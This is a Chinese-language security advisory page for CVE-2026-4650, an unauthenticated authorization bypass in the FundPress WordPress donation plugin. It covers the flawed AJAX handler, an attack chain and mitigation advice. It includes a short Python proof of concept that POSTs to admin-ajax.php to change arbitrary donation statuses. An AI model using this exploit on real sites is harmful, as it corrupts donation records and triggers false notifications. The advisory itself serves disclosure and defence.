IPBUF安全漏洞报告
English
CVE-2026-4650 CVSS 5.3 中危

CVE-2026-4650 FundPress插件授权绕过漏洞

披露日期: 2026-05-02

漏洞信息

漏洞编号
CVE-2026-4650
漏洞类型
授权绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FundPress – WordPress Donation Plugin

相关标签

授权绕过WordPressFundPressCWED未授权访问

漏洞概述

FundPress WordPress捐赠插件在2.0.8及以下版本中存在授权绕过漏洞。由于`donate_action_status()` AJAX处理程序缺乏必要的权限验证和nonce检查,未授权攻击者可以通过构造特定的POST请求,利用顺序的捐赠ID,修改任意捐赠的状态(如标记为已完成或取消)。这可能导致数据完整性受损,并可能触发错误的邮件通知。

技术细节

该漏洞位于FundPress插件的`class-dn-ajax.php`文件中。漏洞的核心在于`donate_action_status()`函数被错误地注册为`wp_ajax_nopriv`动作,允许未认证用户访问。该函数仅验证`schema`参数和POST参数的存在性,未执行任何用户能力检查(如`current_user_can`)、Nonce令牌验证或捐赠所有权验证。由于捐赠ID通常是自增的整数,攻击者可以轻易枚举。攻击者只需向`/wp-admin/admin-ajax.php`发送包含特定参数的POST请求,即可篡改数据库中任意捐赠记录的状态。这不仅破坏了数据完整性,还可能被滥用以触发邮件通知系统,造成业务干扰。

攻击链分析

STEP 1
1. 信息收集
识别目标网站是否安装了FundPress WordPress捐赠插件,并确定其版本在2.0.8及以下。
STEP 2
2. ID枚举
由于捐赠ID通常是连续的整数,攻击者通过简单的循环(如1到1000)生成潜在的捐赠ID列表。
STEP 3
3. 发起攻击
向`/wp-admin/admin-ajax.php`发送POST请求,携带`donate_action_status`动作及目标ID和状态参数,无需身份验证即可调用。
STEP 4
4. 执行影响
服务器端修改数据库中指定捐赠的状态,并可能向管理员或捐赠者发送状态变更的邮件通知。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Vulnerable payload payload = { "action": "donate_action_status", "schema": "donate-ajax", "donate_id": "1", # Sequential ID, can be enumerated "status": "completed" # or 'pending', 'cancelled' } # Send POST request (No authentication required) response = requests.post(url, data=payload) if response.status_code == 200: print("[+] Donation status likely modified.") print("Response:", response.text) else: print("[-] Request failed.")

影响范围

FundPress <= 2.0.8

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用FundPress插件,或通过服务器配置限制对`/wp-admin/admin-ajax.php`的未授权POST请求,特别是包含`action=donate_action_status`的参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表